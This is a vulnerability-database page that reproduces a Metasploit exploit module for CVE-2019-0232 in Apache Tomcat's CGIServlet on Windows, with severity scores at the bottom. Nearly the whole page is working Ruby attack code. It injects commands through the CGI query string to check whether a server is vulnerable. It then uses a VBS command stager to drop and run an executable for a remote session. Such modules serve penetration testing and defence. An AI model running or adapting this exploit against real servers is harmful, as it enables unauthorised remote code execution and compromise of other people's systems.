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Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability

🗓️ 18 Jun 2019 20:28:11Reported by Yakov Shafranovich, sinn3r <[email protected]>Type 
metasploit
 metasploit
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Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability allows remote code execution by abusing the enableCmdLineArguments setting to execute system commands

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info={})
    super(update_info(info,
      'Name'            => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',
      'Description'     => %q{
        This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the
        enableCmdLineArguments setting is set to true, a remote user can abuse this to execute
        system commands, and gain remote code execution.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Yakov Shafranovich', # Original discovery
          'sinn3r'              # Metasploit module
        ],
      'Platform'        => 'win',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Targets'         =>
        [
          [ 'Apache Tomcat 9.0 or prior for Windows', { } ]
        ],
      'References'      =>
        [
          ['CVE', '2019-0232'],
          ['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],
          ['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']
        ],
      'Notes'           =>
        {
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'CmdStagerFlavor' => 'vbs',
      'DefaultOptions'  =>
        {
          'RPORT' => 8080
        },
      'Privileged'      => false,
      'DisclosureDate'  => '2019-04-10', # Date of public advisory issued by the vendor
      'DefaultTarget'   => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])
      ])

    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')

    self.needs_cleanup = true
  end

  def check
    sig = Rex::Text.rand_text_alpha(10)
    uri = normalize_uri(target_uri.path)
    uri << "?&echo+#{sig}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      vprint_error('No Response from server')
      return CheckCode::Unknown
    end

    if res.body.include?(sig)
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts={})
    # Our command stager assumes we have access to environment variables.
    # We don't necessarily have that, so we have to modify cscript to a full path.
    cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')

    uri = normalize_uri(target_uri.path)
    uri << "?&#{CGI.escape(cmd)}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from server')
    end

    unless res.code == 200
      fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
    end
  end

  # it seems we don't really have a way to retrieve the filenames from the VBS command stager,
  # so we need to rely on the user to cleanup the files.
  def on_new_session(cli)
    print_warning('Make sure to manually cleanup the exe generated by the exploit')
    super
  end

  def exploit
    execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)
  end
end

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02 Oct 2020 20:00Current
0.7Low risk
Vulners AI Score0.7
CVSS 29.3
CVSS 38.1
EPSS0.99652
274